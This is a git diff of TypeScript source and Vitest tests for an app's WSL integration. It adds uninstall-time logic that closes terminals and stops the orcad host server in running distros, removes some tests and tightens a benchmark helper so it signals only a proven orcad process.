a/src/main/wsl/wsl-host-server-stop.test.ts b/src/main/wsl/wsl-host-server-stop.test.ts index 53cffa835dc..10ce4f1d507 100644 --- a/src/main/wsl/wsl-host-server-stop.test.ts +++ b/src/main/wsl/wsl-host-server-stop.test.ts @@ -101,60 +101,6 @@ describe('stopWslHostServer', () => { warn.mockRestore() }) - it('names each terminal that refused, and still asks the server to stop', async () => { - const { all } = steps({ - endTerminals: vi.fn(async () => [ - { handle: 'term_1', worktreeId: 'gone::/home/me/old', reason: 'selector_not_found' } - ]), - census: vi.fn(async () => census(1)), - decommission: vi.fn(async (): Promise => ({ - outcome: 'refused', - verdict: 'live', - code: 'orcad_decommission_terminals_running', - reason: '1 terminal is still running on this host.' - })) - }) - const result = await stopWslHostServer(all) - expect(all.decommission).toHaveBeenCalled() - expect(result).toEqual({ - stopped: false, - reason: - 'Terminals that refused to close: term_1 (gone::/home/me/old): selector_not_found 1 terminal session kept running. Orca’s server kept running: 1 terminal is still running on this host.', - verdict: 'live' - }) - }) - - it('never reports stopped when the decommission could not prove it stopped the serving orcad', async () => { - const { all } = steps({ - decommission: vi.fn(async (): Promise => ({ - outcome: 'refused', - verdict: 'unverifiable', - code: 'orcad_wsl_host_serving_instance_unproven', - reason: 'the orcad this computer was connected to is not the one the distro records' - })) - }) - await expect(stopWslHostServer(all)).resolves.toMatchObject({ - stopped: false, - verdict: 'unverifiable' - }) - }) - - it('calls a census that did not answer unverifiable, not live', async () => { - const { all } = steps({ - census: vi.fn(async () => census(null)), - decommission: vi.fn(async (): Promise => ({ - outcome: 'refused', - verdict: 'unverifiable', - code: 'orcad_decommission_census_unavailable', - reason: 'The terminal daemon did not answer a session count.' - })) - }) - await expect(stopWslHostServer(all)).resolves.toMatchObject({ - stopped: false, - verdict: 'unverifiable' - }) - }) - it('reports a daemon that did not retire', async () => { const { all } = steps({ decommission: vi.fn(async (): Promise => ({ diff --git a/src/main/wsl/wsl-host-uninstall-server-stop.test.ts b/src/main/wsl/wsl-host-uninstall-server-stop.test.ts new file mode 100644 index 00000000000..6e8e0272bf5 --- /dev/null +++ b/src/main/wsl/wsl-host-uninstall-server-stop.test.ts @@ -0,0 +1,180 @@ +import { afterEach, describe, expect, it, vi } from 'vitest' +import type { WslHostServerStop } from '../../shared/wsl-host-types' + +const { execCommand, decommission, dispose } = vi.hoisted(() => ({ + execCommand: vi.fn<(conn: unknown, command: string) => Promise>(), + decommission: vi.fn(), + dispose: vi.fn() +})) +vi.mock('../ssh/remote-exec/remote-exec-command', () => ({ execCommand })) +vi.mock('./wsl-orcad-host-transport', () => ({ + createWslOrcadHostTransport: () => ({ dispose }) +})) +vi.mock('./wsl-host-server-stop', async (importOriginal) => ({ + ...(await importOriginal>()), + decommissionWslHostOrcad: () => decommission +})) + +import { + stopWslHostServerFromGuest, + stopWslHostServersForUninstall, + type WslHostUninstallStopDependencies +} from './wsl-host-uninstall-server-stop' + +function deps( + overrides: Partial = {} +): WslHostUninstallStopDependencies { + return { + distros: () => ['Ubuntu', 'Debian'], + listRunning: async () => ['ubuntu'], + stop: vi.fn(async (): Promise => ({ stopped: true })), + ...overrides + } +} + +describe('stopWslHostServersForUninstall', () => { + afterEach(() => { + vi.restoreAllMocks() + vi.useRealTimers() + }) + + it('stops only hosts whose distro is confirmed running, and never boots a stopped one', async () => { + const d = deps() + vi.spyOn(console, 'log').mockImplementation(() => {}) + + await stopWslHostServersForUninstall(d) + + expect(d.stop).toHaveBeenCalledTimes(1) + expect(d.stop).toHaveBeenCalledWith('Ubuntu', expect.any(AbortSignal)) + }) + + it('stops nothing when the running list is unreadable', async () => { + const d = deps({ listRunning: async () => null }) + vi.spyOn(console, 'warn').mockImplementation(() => {}) + + await stopWslHostServersForUninstall(d) + + expect(d.stop).not.toHaveBeenCalled() + }) + + it('reads nothing when there are no WSL hosts', async () => { + const listRunning = vi.fn(async () => []) + await stopWslHostServersForUninstall(deps({ distros: () => [], listRunning })) + + expect(listRunning).not.toHaveBeenCalled() + }) + + it('stops a distro recorded twice once', async () => { + const d = deps({ distros: () => ['Ubuntu', 'ubuntu'] }) + vi.spyOn(console, 'log').mockImplementation(() => {}) + + await stopWslHostServersForUninstall(d) + + expect(d.stop).toHaveBeenCalledTimes(1) + }) + + it('gives up on a distro that never answers, aborting its work', async () => { + vi.useFakeTimers() + let signal: AbortSignal | undefined + const d = deps({ + timeoutMs: 1_000, + stop: (_distro, s) => { + signal = s + return new Promise(() => {}) + } + }) + const log = vi.spyOn(console, 'log').mockImplementation(() => {}) + + const done = stopWslHostServersForUninstall(d) + await vi.advanceTimersByTimeAsync(1_000) + await done + + expect(signal?.aborted).toBe(true) + expect(log).toHaveBeenCalledWith( + '[wsl] uninstall could not stop the Ubuntu host server: timed out after 1000 ms' + ) + }) + + it('logs a failed stop instead of throwing', async () => { + const log = vi.spyOn(console, 'log').mockImplementation(() => {}) + const d = deps({ + stop: async () => { + throw new Error('wsl.exe failed') + } + }) + + await expect(stopWslHostServersForUninstall(d)).resolves.toBeUndefined() + expect(log).toHaveBeenCalledWith( + '[wsl] uninstall could not stop the Ubuntu host server: wsl.exe failed' + ) + }) +}) + +describe('stopWslHostServerFromGuest', () => { + afterEach(() => { + execCommand.mockReset() + decommission.mockReset() + dispose.mockReset() + }) + + it("closes every terminal through the server's CLI, then decommissions the proven instance", async () => { + const open = new Set(['term_a', 'term_b']) + execCommand.mockImplementation(async (_conn, command) => { + if (command.includes('terminal list')) { + const terminals = [...open].map((handle) => ({ handle, worktreeId: 'w' })) + return `login banner\n${JSON.stringify({ result: { terminals } })}` + } + if (command.includes('terminal close')) { + open.delete(/--terminal '([^']+)'/.exec(command)?.[1] ?? '') + return JSON.stringify({ result: {} }) + } + if (command.includes(' status ')) { + return JSON.stringify({ result: { runtime: { runtimeId: 'rt-1' } } }) + } + throw new Error(`unexpected ${command}`) + }) + decommission.mockResolvedValue({ + outcome: 'decommissioned', + version: '1', + retirement: 'retired' + }) + + const result = await stopWslHostServerFromGuest('Ubuntu', new AbortController().signal) + + expect(result).toEqual({ stopped: true }) + expect(open.size).toBe(0) + expect(decommission).toHaveBeenCalledWith( + { liveSessions: 0, startedSinceActivation: null, daemonProtocolVersion: null }, + 'rt-1' + ) + expect( + execCommand.mock.calls.every(([, c]) => c.startsWith('"$HOME/.orca/cli/bin/orca" ')) + ).toBe(true) + // Remove host lists up to 1000; the CLI's default of 200 would leave terminals open. + const lists = execCommand.mock.calls + .map(([, c]) => c) + .filter((c) => c.includes('terminal list')) + expect(lists.length).toBeGreaterThan(0) + expect(lists.every((c) => c.includes('terminal list --limit 1000 --json'))).toBe(true) + expect(dispose).toHaveBeenCalled() + }) + + it('reports the server it could not prove stopped', async () => { + execCommand.mockImplementation(async (_conn, command) => + command.includes('status') + ? JSON.stringify({ result: { runtime: { runtimeId: 'rt-1' } } }) + : JSON.stringify({ result: { terminals: [] } }) + ) + decommission.mockResolvedValue({ + outcome: 'refused', + verdict: 'unverifiable', + code: 'x', + reason: 'not the active instance' + }) + + const result = await stopWslHostServerFromGuest('Ubuntu', new AbortController().signal) + + expect(result).toMatchObject({ stopped: false, verdict: 'unverifiable' }) + expect(dispose).toHaveBeenCalled() + }) +}) diff --git a/src/main/wsl/wsl-host-uninstall-server-stop.ts b/src/main/wsl/wsl-host-uninstall-server-stop.ts new file mode 100644 index 00000000000..73e6911f67b --- /dev/null +++ b/src/main/wsl/wsl-host-uninstall-server-stop.ts @@ -0,0 +1,168 @@ +// Uninstall only: end each running WSL host's terminals and orcad, so its distro can stop. +// No paired connection exists by then, so the server's own CLI inside the distro stands in for RPC. +import { z } from 'zod' +import { errorMessage } from '../../shared/error-message' +import type { WslHostServerStop } from '../../shared/wsl-host-types' +import { execCommand } from '../ssh/remote-exec/remote-exec-command' +import { listRunningWslDistrosAsync } from '../wsl' +import { readWslHostRecordsQuietly } from './wsl-host-connection-record' +import { + decommissionWslHostOrcad, + stopWslHostServer, + type WslHostTerminalLeftover +} from './wsl-host-server-stop' +import { defaultWslOrcadEnvironmentId } from './wsl-orcad-deploy' +import { createWslOrcadHostTransport } from './wsl-orcad-host-transport' +import type { WslOrcadHostTarget } from './wsl-orcad-host-target' + +/** Per distro; the uninstaller waits on the whole preflight. */ +export const WSL_HOST_UNINSTALL_STOP_TIMEOUT_MS = 15_000 + +/** orcad writes this launcher into its data root; older slots without a CLI have none. */ +const GUEST_CLI = '"$HOME/.orca/cli/bin/orca"' + +const TerminalListSchema = z.object({ + result: z.object({ + terminals: z.array(z.object({ handle: z.string().min(1), worktreeId: z.string() })) + }) +}) +const StatusSchema = z.object({ + result: z.object({ runtime: z.object({ runtimeId: z.string().min(1).optional() }) }) +}) + +/** The CLI's JSON envelope, past anything a login shell printed first. */ +function parseCliJson(stdout: string): unknown { + const start = stdout.indexOf('{') + if (start === -1) { + throw new Error(`no JSON from the server's CLI: ${stdout.slice(0, 200)}`) + } + return JSON.parse(stdout.slice(start)) +} + +/** Remove host's teardown, driven through the in-distro CLI; the census is the CLI's terminal list. */ +export async function stopWslHostServerFromGuest( + distro: string, + signal: AbortSignal +): Promise { + const target: WslOrcadHostTarget = { + kind: 'wsl', + id: defaultWslOrcadEnvironmentId(distro), + distro, + label: distro + } + const transport = createWslOrcadHostTransport({ target, commandLoops: false }) + const cli = async (args: string): Promise => + parseCliJson(await execCommand(transport, `${GUEST_CLI} ${args} --json`, { signal })) + const listTerminals = async () => + TerminalListSchema.parse(await cli('terminal list --limit 1000')).result.terminals + try { + return await stopWslHostServer({ + // Peers can't be asked without a paired connection; uninstall ends this host for everyone. + peerDesktops: async () => ({ kind: 'none' }), + endTerminals: async () => { + const leftovers: WslHostTerminalLeftover[] = [] + for (const terminal of await listTerminals()) { + try { + await cli(`terminal close --terminal '${terminal.handle.replace(/'/g, '')}'`) + } catch (error) { + leftovers.push({ ...terminal, reason: errorMessage(error) }) + } + } + return leftovers + }, + census: async () => { + const live = await listTerminals().catch(() => null) + return { + liveSessions: live ? live.length : null, + startedSinceActivation: null, + daemonProtocolVersion: null + } + }, + servingRuntimeId: async () => + StatusSchema.parse(await cli('status')).result.runtime.runtimeId ?? null, + closeBridge: async () => {}, + decommission: decommissionWslHostOrcad(target, transport) + }) + } finally { + transport.dispose() + } +} + +export type WslHostUninstallStopDependencies = { + distros: () => string[] + /** Confirmed running list; null when it can't be read. Must never start a distro. */ + listRunning: () => Promise + stop: (distro: string, signal: AbortSignal) => Promise + timeoutMs?: number +} + +export function wslHostUninstallStopDependencies( + userDataPath: string +): WslHostUninstallStopDependencies { + return { + distros: () => readWslHostRecordsQuietly(userDataPath).map((record) => record.distro), + listRunning: () => listRunningWslDistrosAsync({ requireConfirmed: true }).catch(() => null), + stop: stopWslHostServerFromGuest + } +} + +async function stopWithin( + distro: string, + deps: WslHostUninstallStopDependencies +): Promise { + const controller = new AbortController() + const timeoutMs = deps.timeoutMs ?? WSL_HOST_UNINSTALL_STOP_TIMEOUT_MS + let timer: NodeJS.Timeout | undefined + const timedOut = new Promise((resolve) => { + timer = setTimeout(() => { + controller.abort() + resolve({ + stopped: false, + verdict: 'unverifiable', + reason: `timed out after ${timeoutMs} ms` + }) + }, timeoutMs) + }) + try { + return await Promise.race([ + deps.stop(distro, controller.signal).catch((error: unknown): WslHostServerStop => ({ + stopped: false, + verdict: 'unverifiable', + reason: errorMessage(error) + })), + timedOut + ]) + } finally { + clearTimeout(timer) + } +} + +/** Best effort and bounded: a stopped or unconfirmed distro is skipped, never booted. */ +export async function stopWslHostServersForUninstall( + deps: WslHostUninstallStopDependencies +): Promise { + const distros = [...new Map(deps.distros().map((d) => [d.toLowerCase(), d])).values()] + if (distros.length === 0) { + return + } + const running = await deps.listRunning() + if (running === null) { + console.warn('[wsl] uninstall left WSL host servers alone: the running list was unreadable') + return + } + const isRunning = new Set(running.map((d) => d.toLowerCase())) + await Promise.all( + distros.map(async (distro) => { + if (!isRunning.has(distro.toLowerCase())) { + console.log(`[wsl] uninstall skipped the ${distro} host server: the distro is stopped`) + return + } + const result = await stopWithin(distro, deps) + console.log( + result.stopped + ? `[wsl] uninstall stopped the ${distro} host server` + : `[wsl] uninstall could not stop the ${distro} host server: ${result.reason}` + ) + }) + ) +} diff --git a/src/main/wsl/wsl-orcad-connect-state-snapshot.test.ts b/src/main/wsl/wsl-orcad-connect-state-snapshot.test.ts index 5457ac15029..c1e81839780 100644 --- a/src/main/wsl/wsl-orcad-connect-state-snapshot.test.ts +++ b/src/main/wsl/wsl-orcad-connect-state-snapshot.test.ts @@ -63,22 +63,6 @@ afterEach(() => { }) describe.skipIf(process.platform === 'win32')('WSL connect state snapshot', () => { - it('reads a fresh host in one command', async () => { - const reader = createWslOrcadConnectStateReader() - - await expect(reader.readActivationRecord(target())).resolves.toEqual( - emptyOrcadActivationRecord() - ) - - expect(mockExec).toHaveBeenCalledOnce() - expect(reader.snapshot()).toEqual({ - activation: { state: 'absent' }, - transactionAbsent: true, - instanceLock: { state: 'absent' }, - fenceOpen: true - }) - }) - it('reads the record, a pending journal, the instance lock and a held fence together', async () => { write('.orca-remote/orcad-active.json', serializeOrcadActivationRecord(ACTIVE)) write('.orca-remote/.orcad-activation-transaction/transaction.json', '{"partial"') @@ -193,12 +177,6 @@ describe('wslOrcadConnectStateHints', () => { fenceOpen: true } - it('hints while the record the snapshot read is the one acted on', () => { - const hints = wslOrcadConnectStateHints(snapshot, ACTIVE) - expect(hints.instanceLock(ACTIVE)).toEqual({ state: 'absent' }) - expect(hints.deployPreRead(ACTIVE)).toEqual({ preRead: { record: ACTIVE, fenceOpen: true } }) - }) - it('stops hinting once recovery, adoption or admission replaced the record', () => { const hints = wslOrcadConnectStateHints(snapshot, ACTIVE) const replaced = { ...ACTIVE } diff --git a/src/main/wsl/wsl-orcad-held-context.test.ts b/src/main/wsl/wsl-orcad-held-context.test.ts index a722d11a642..0f9df9e349d 100644 --- a/src/main/wsl/wsl-orcad-held-context.test.ts +++ b/src/main/wsl/wsl-orcad-held-context.test.ts @@ -63,7 +63,6 @@ vi.mock('../managed-server/install/orcad-remote-context', async () => { import { runProcess } from '@orca/process-host' import { holdWslDistroWithContext, - isWsl1KernelRelease, readWslHostFacts, WSL_HOST_FACTS_COMMAND } from './wsl-orcad-held-context' @@ -274,13 +273,3 @@ describe.skipIf(process.platform === 'win32')('WSL_HOST_FACTS_COMMAND under a re }) }) }) - -describe('isWsl1KernelRelease', () => { - it('tells the WSL 1 syscall layer from a WSL 2 kernel, stock or custom', () => { - expect(isWsl1KernelRelease('4.4.0-19041-Microsoft')).toBe(true) - expect(isWsl1KernelRelease('4.4.0-22621-Microsoft\n')).toBe(true) - expect(isWsl1KernelRelease('5.15.167.4-microsoft-standard-WSL2')).toBe(false) - expect(isWsl1KernelRelease('6.6.36.6-microsoft-standard-WSL2+')).toBe(false) - expect(isWsl1KernelRelease('6.10.0-custom')).toBe(false) - }) -}) diff --git a/src/main/wsl/wsl-orcad-host-transport.test.ts b/src/main/wsl/wsl-orcad-host-transport.test.ts index 1e713cfd1d1..56344bea2d1 100644 --- a/src/main/wsl/wsl-orcad-host-transport.test.ts +++ b/src/main/wsl/wsl-orcad-host-transport.test.ts @@ -1,15 +1,11 @@ -import { ORCAD_WSL_DISTRO_GUID_ENV } from '../orcad/orcad-migration-wsl-destination' -import { ORCAD_IDLE_TIMEOUT_ENV } from '../../shared/orcad-idle-exit' import { EventEmitter } from 'node:events' import { PassThrough, Readable } from 'node:stream' import { describe, expect, it, vi } from 'vitest' import type { PipedChildProcess, PipedProcessSpec } from '@orca/process-host/process-spec' import { execCommand } from '../ssh/remote-exec/remote-exec-command' -import { isWslOrcadHostTarget } from '../ssh/orcad-host-transport' + import { WSL_CHANNEL_CLOSE_GRACE_MS } from './wsl-command-channel' import { createWslOrcadHostTransport } from './wsl-orcad-host-transport' -import { openOrcadStdioBridgeChannel, resolveOrcadStdioBridge } from '../ssh/orcad-stdio-bridge' -import { orcadBashStdioBridgeCommand } from '../managed-server/lifecycle/orcad-stdio-bridge-script' type FakeChild = EventEmitter & { stdin: PassThrough @@ -72,32 +68,6 @@ function transportWith(children: FakeChild[]) { } describe('createWslOrcadHostTransport', () => { - it('runs the command through wsl.exe --exec sh -c in the chosen distro', async () => { - const child = fakeChild() - const { transport, specs } = transportWith([child]) - const channel = await transport.exec('echo $HOME') - expect(specs[0]?.program).toMatch(/wsl(\.exe)?$/i) - expect(specs[0]?.args).toEqual(['-d', 'Ubuntu-24.04', '--exec', 'sh', '-c', 'echo $HOME']) - expect(specs[0]?.env?.WSL_UTF8).toBe('1') - channel.close() - }) - - it('hands the bash bridge to sh through --exec, so wsl.exe never expands its $ words', async () => { - const child = fakeChild() - const { transport, specs } = transportWith([child]) - const bridge = await resolveOrcadStdioBridge(transport, 6768) - const channel = await openOrcadStdioBridgeChannel(transport, bridge) - expect(specs[0]?.args).toEqual([ - '-d', - 'Ubuntu-24.04', - '--exec', - 'sh', - '-c', - orcadBashStdioBridgeCommand(6768) - ]) - channel.close() - }) - it('emits exit before close and reports the exit code on both', async () => { const child = fakeChild() const { transport } = transportWith([child]) @@ -189,39 +159,4 @@ describe('createWslOrcadHostTransport', () => { await closed expect(Buffer.concat(received).length).toBe(20 * 1024 * 1024) }) - - it('reports a stable WSL identity and never claims the system SSH transport', () => { - const { transport } = transportWith([]) - const target = transport.getTarget() - expect(target).toEqual({ - kind: 'wsl', - id: 'env-1', - distro: 'Ubuntu-24.04', - label: 'My Ubuntu' - }) - expect(isWslOrcadHostTarget(target)).toBe(true) - expect(transport.usesSystemSshTransport()).toBe(false) - expect(transport.getConnectGeneration()).toBe(transport.getConnectGeneration()) - }) - - // Regression: `nohup … &` dies with its `wsl.exe --exec` on a distro without systemd. - it('asks orcad launches to start in their own session', () => { - expect(transportWith([]).transport.orcadLaunchDetach).toBe('setsid') - }) - - it('tells orcad which registration of the distro it runs in, when the registry knows', async () => { - const make = (id: string | null) => - createWslOrcadHostTransport({ - target: { kind: 'wsl', id: 'env-1', distro: 'Ubuntu-24.04', label: 'My Ubuntu' }, - commandLoops: false, - readDistroRegistryId: async (distro) => (distro === 'Ubuntu-24.04' ? id : null) - }) - await expect(make('1a2b')?.orcadLaunchEnv?.({ fullVersion: '0.1.0+abc' })).resolves.toEqual([ - [ORCAD_WSL_DISTRO_GUID_ENV, '1a2b'], - [ORCAD_IDLE_TIMEOUT_ENV, '300000'] - ]) - await expect(make(null)?.orcadLaunchEnv?.({ fullVersion: '0.1.0+abc' })).resolves.toEqual([ - [ORCAD_IDLE_TIMEOUT_ENV, '300000'] - ]) - }) }) diff --git a/src/main/wsl/wsl-orcad-incumbent.test.ts b/src/main/wsl/wsl-orcad-incumbent.test.ts index 7c0c9fda43c..87de5c5a236 100644 --- a/src/main/wsl/wsl-orcad-incumbent.test.ts +++ b/src/main/wsl/wsl-orcad-incumbent.test.ts @@ -138,26 +138,6 @@ describe('readWslOrcadIncumbent', () => { expect(vi.mocked(deps.census).mock.calls[2]?.[3]).toEqual({ closeAdmissionForMs: 0 }) }) - // After a reboot the woken incumbent's daemon starts empty, so the census proves zero. - it('wakes an incumbent a reboot stopped and reads it without probing again', async () => { - const { deps } = dependencies({ - wake: vi.fn(async () => ({ - outcome: 'started' as const, - readiness: READINESS - })), - census: vi.fn(async () => ({ - liveSessions: 0, - startedSinceActivation: 0, - daemonProtocolVersion: 3 - })) - }) - await expect(readWslOrcadIncumbent({ context: context(), slot }, deps)).resolves.toMatchObject({ - census: { liveSessions: 0 }, - readiness: READINESS - }) - expect(deps.probe).not.toHaveBeenCalled() - }) - it('is unverifiable, without a bridge, when the incumbent cannot be proven running', async () => { const { deps } = dependencies({ wake: vi.fn(async () => ({ outcome: 'unverifiable' as const })) @@ -181,14 +161,6 @@ describe('readWslOrcadIncumbent', () => { }) expect(close).toHaveBeenCalledTimes(1) }) - - it('touches nothing when no version is active', async () => { - const { deps } = dependencies() - await expect( - readWslOrcadIncumbent({ context: context(null), slot }, deps) - ).resolves.toMatchObject({ census: UNVERIFIABLE, readiness: null }) - expect(deps.wake).not.toHaveBeenCalled() - }) }) describe('the incumbent terminal count across restarts', () => { diff --git a/src/main/wsl/wsl-orcad-real-distro-idle-release-lane.test.ts b/src/main/wsl/wsl-orcad-real-distro-idle-release-lane.test.ts index f6b7327eb60..14f2b6af42c 100644 --- a/src/main/wsl/wsl-orcad-real-distro-idle-release-lane.test.ts +++ b/src/main/wsl/wsl-orcad-real-distro-idle-release-lane.test.ts @@ -376,18 +376,32 @@ async function readOrcadStartupTiming() { } /** SIGTERM the active orcad, as its idle exit ends it, and wait until it is gone; the distro stays up. */ -async function stopOrcadKeepingDistro(): Promise { - const pid = Number( - ( - await guest( - `v=$(sed -n 's/.*"active": *"\\([^"]*\\)".*/\\1/p' "$HOME/.orca-remote/orcad-active.json") && cat "$HOME/.orca-remote/orcad-$v/.orcad-pid"` - ) - ).trim() - ) - if (!Number.isSafeInteger(pid) || pid <= 0) { - throw new Error('No active orcad pid to stop') +/** + * True once the active slot's orcad is proven down: stopped here, or its recorded pid is gone. + * False when nothing proves it: no active slot or pid file, or a live pid not naming the slot. + */ +async function stopOrcadKeepingDistro(): Promise { + const answer = ( + await guest( + `v=$(sed -n 's/.*"active": *"\\([^"]*\\)".*/\\1/p' "$HOME/.orca-remote/orcad-active.json"); ` + + `p=$(cat "$HOME/.orca-remote/orcad-$v/.orcad-pid" 2>/dev/null); ` + + // GONE needs evidence: a known slot and pid file whose process no longer exists. + `if [ -z "$v" ] || [ -z "$p" ] || [ -n "$(printf '%s' "$p" | tr -d 0-9)" ]; then echo UNKNOWN; ` + + `elif [ ! -e "/proc/$p" ]; then echo GONE; ` + + // Only a pid whose command line still names the active slot: a reused pid is left alone. + `elif tr '\\0' ' ' < "/proc/$p/cmdline" 2>/dev/null | grep -qF "orcad-$v/"; then echo "$p"; ` + + `else echo MISMATCH; fi` + ) + ).trim() + if (answer === 'GONE') { + return true } - await guest(`kill -TERM ${pid}`) + const pid = Number(answer) + if (answer === 'MISMATCH' || answer === 'UNKNOWN' || !Number.isSafeInteger(pid) || pid <= 0) { + return false + } + // It may exit on its own meanwhile; the wait below is what decides. + await guest(`kill -TERM ${pid} 2>/dev/null || true`) await waitFor( 'orcad to exit', async () => @@ -397,6 +411,7 @@ async function stopOrcadKeepingDistro(): Promise { 30_000, 100 ) + return true } /** @@ -412,12 +427,14 @@ async function restartThroughHost( Receipt & { phases: WslOrcadEnsurePhases | null orcadStartup: OrcadStartupTimingReport | null + orcadStopped: boolean } > { + let orcadStopped = false if (start === 'distro') { await terminatePlain() } else if (start === 'orcad') { - await stopOrcadKeepingDistro() + orcadStopped = await stopOrcadKeepingDistro() } createManager() const trace = createWslOrcadEnsureTrace() @@ -435,23 +452,38 @@ async function restartThroughHost( worktree: `path:${repoPath}` }) const createdMs = Math.round(performance.now() - started) + const tail = async (): Promise => + ( + ( + await held.call<{ terminal: { tail?: unknown[] } }>('terminal.read', { + terminal: created.terminal.handle + }) + ).terminal.tail ?? [] + ) + .map(String) + .join('\n') + // What a user sees first: the first output on screen (the prompt, or a login banner). + await waitFor( + 'the first screen output', + async () => ((await tail()).trim() ? true : null), + 120_000, + 25 + ) + const timeToFirstOutputMs = Math.round(performance.now() - started) const probe = outputProbe() const sendStarted = performance.now() + // Enter inside the text, as typing delivers it: `enter: true` would add the 500 ms settle that + // protects agent TUIs from a pasted Enter, which no keystroke pays. await held.call('terminal.send', { terminal: created.terminal.handle, - text: probe.command, - enter: true + text: `${probe.command}\r`, + enter: false }) await waitFor( 'the host terminal to print the probe', - async () => { - const read = await held.call<{ terminal: { tail?: unknown[] } }>('terminal.read', { - terminal: created.terminal.handle - }) - return (read.terminal.tail ?? []).map(String).join('\n').includes(probe.token) ? true : null - }, + async () => ((await tail()).includes(probe.token) ? true : null), 120_000, - 100 + 25 ) const firstOutputMs = Math.round(performance.now() - started) const sendToFirstOutputMs = Math.round(performance.now() - sendStarted) @@ -461,10 +493,12 @@ async function restartThroughHost( return { ensureMs, terminalCreatedMs: createdMs - ensureMs, + timeToFirstOutputMs, sendToFirstOutputMs, firstOutputMs, phases: summarizeWslOrcadEnsurePhases(trace.events), - orcadStartup + orcadStartup, + orcadStopped } } finally { held.close() @@ -602,11 +636,21 @@ function startupGateFor(runs: Receipt[], targetP50Ms: number) { p90EnsureMs: percentile(values('ensureMs'), 0.9), p50TerminalCreatedMs: percentile(values('terminalCreatedMs'), 0.5), p50SendToFirstOutputMs: percentile(values('sendToFirstOutputMs'), 0.5), + p50TimeToFirstOutputMs: percentile(values('timeToFirstOutputMs'), 0.5), + p90TimeToFirstOutputMs: percentile(values('timeToFirstOutputMs'), 0.9), meetsTarget: p50FirstOutputMs <= targetP50Ms, runs: runs.map( - ({ ensureMs, terminalCreatedMs, sendToFirstOutputMs, firstOutputMs, phases }) => ({ + ({ ensureMs, terminalCreatedMs, + timeToFirstOutputMs, + sendToFirstOutputMs, + firstOutputMs, + phases + }) => ({ + ensureMs, + terminalCreatedMs, + timeToFirstOutputMs, sendToFirstOutputMs, firstOutputMs, phases @@ -657,14 +701,18 @@ async function distroRestartBaseline(): Promise { for (let i = 0; i < RESTART_RUNS; i++) { orcadCold.push(await restartThroughHost(repoPath, 'orcad')) } + // A run that could not prove orcad down may have measured a warm reconnect: keep it out. + const stoppedRuns = orcadCold.filter((run) => run.orcadStopped) + expect(stoppedRuns.length, 'orcad-cold runs with orcad proven down').toBeGreaterThan(0) receipt.startupGate = { warm: startupGateFor(warm, WARM_START_P50_TARGET_MS), cold: startupGateFor(host, COLD_START_P50_TARGET_MS), // Reopening Orca after orcad's idle exit, distro still up: tracked against the warm bar, not gated. orcadCold: { - ...startupGateFor(orcadCold, WARM_START_P50_TARGET_MS), + ...startupGateFor(stoppedRuns, WARM_START_P50_TARGET_MS), gated: false, - medianOrcadStartup: medianOrcadStartupTiming(orcadCold.map((run) => run.orcadStartup)) + excludedNotStopped: orcadCold.length - stoppedRuns.length, + medianOrcadStartup: medianOrcadStartupTiming(stoppedRuns.map((run) => run.orcadStartup)) } } receipt.orcadStartupProfiles = await profileOrcadRestart(repoPath) diff --git a/src/main/wsl/wsl-pinned-runtime.test.ts b/src/main/wsl/wsl-pinned-runtime.test.ts index b132b36f7cd..c33081d017e 100644 --- a/src/main/wsl/wsl-pinned-runtime.test.ts +++ b/src/main/wsl/wsl-pinned-runtime.test.ts @@ -31,19 +31,6 @@ function runner(present = false, libc = 'glibc 2.31', promoted = 'ORCA_NODE_RUNT }) } describe('shared WSL pinned runtime', () => { - it('uses the existing materializer and verifies the pinned guest executable without a host Node prerequisite', async () => { - mocks.download.mockClear() - const run = runner() - const result = await ensureWslPinnedRuntime(run, '/fake/cache', new AbortController().signal) - expect(mocks.download).toHaveBeenCalledWith('linux-x64-glibc', '/fake/cache', expect.anything()) - expect(result).toContain(NODE_RUNTIME_ASSETS['linux-x64-glibc'].executableSha256) - const install = run.mock.calls.find(([spec]) => - spec.script?.includes('ORCA_NODE_RUNTIME_EXTRACT_FAILED') - )?.[0] - expect(install?.args).toEqual(['/mnt/c/cache/pinned.tar.gz']) - expect(install?.script).toContain('--version') - expect(run.mock.calls.some(([spec]) => spec.program === 'node')).toBe(false) - }) it('reuses a verified old guest cache without downloading or replacing it', async () => { mocks.download.mockClear() const run = runner(true) diff --git a/src/main/wsl/wsl-w1-w3-contract.test.ts b/src/main/wsl/wsl-w1-w3-contract.test.ts deleted file mode 100644 index 074cca8d8ed..00000000000 --- a/src/main/wsl/wsl-w1-w3-contract.test.ts +++ /dev/null @@ -1,153 +0,0 @@ -import { describe, expect, it, vi, beforeEach } from 'vitest' - -const runProcessMock = vi.hoisted(() => vi.fn()) -vi.mock('@orca/process-host', () => ({ runProcess: runProcessMock })) -vi.mock('./wsl-executable-path', () => ({ - resolveWslExecutablePath: () => 'C:\\Windows\\System32\\wsl.exe' -})) - -import { runWslProcess } from './wsl-runner' -import { - invalidateWslGuestEnvironment, - seedWslGuestEnvironmentForTests -} from './wsl-guest-environment' - -/** W1 spawn, W2 Windows ownership and W3 WSL runner compose one contract; keep regressions together across all three layers. */ -const ENV = { path: '/home/u/.nvm/bin:/usr/bin', home: '/home/u', envBinary: '/usr/bin/env' } - -function spawnSpec(): Record { - return runProcessMock.mock.calls.at(-1)?.[0] as Record -} - -beforeEach(() => { - runProcessMock.mockReset() - runProcessMock.mockResolvedValue({ - code: 0, - signal: null, - stdout: '', - stderr: '', - timedOut: false - }) - invalidateWslGuestEnvironment(undefined, true) - seedWslGuestEnvironmentForTests(undefined, ENV) - seedWslGuestEnvironmentForTests('Ubuntu', ENV) -}) - -describe('W1: every WSL call inherits the spawn chokepoint', () => { - it('resolves wsl.exe absolutely, never by bare name', async () => { - // Bare executable resolution is vulnerable to Group Policy/stripped Electron PATH (#15749). - await runWslProcess({ loginPath: 'preferred', distro: 'Ubuntu', program: '/bin/true' }) - expect(spawnSpec().program).toBe('C:\\Windows\\System32\\wsl.exe') - }) - - it('passes argv as an array, never a command string', async () => { - // Pass argv rather than return quoting responsibility to callers. - await runWslProcess({ - loginPath: 'preferred', - distro: 'Ubuntu', - program: '/bin/echo', - args: ['a b'] - }) - expect(Array.isArray(spawnSpec().args)).toBe(true) - expect(spawnSpec().args).toContain('a b') - }) - - it('always bounds the call', async () => { - await runWslProcess({ loginPath: 'preferred', distro: 'Ubuntu', program: '/bin/true' }) - expect(spawnSpec().timeoutMs).toBeGreaterThan(0) - }) -}) - -describe('W3: the five per-call decisions are made once', () => { - it('never uses the -- separator, which expands $name host-side', async () => { - await runWslProcess({ loginPath: 'preferred', distro: 'Ubuntu', script: 'echo "$HOME"' }) - const argv = spawnSpec().args as string[] - // Assert the 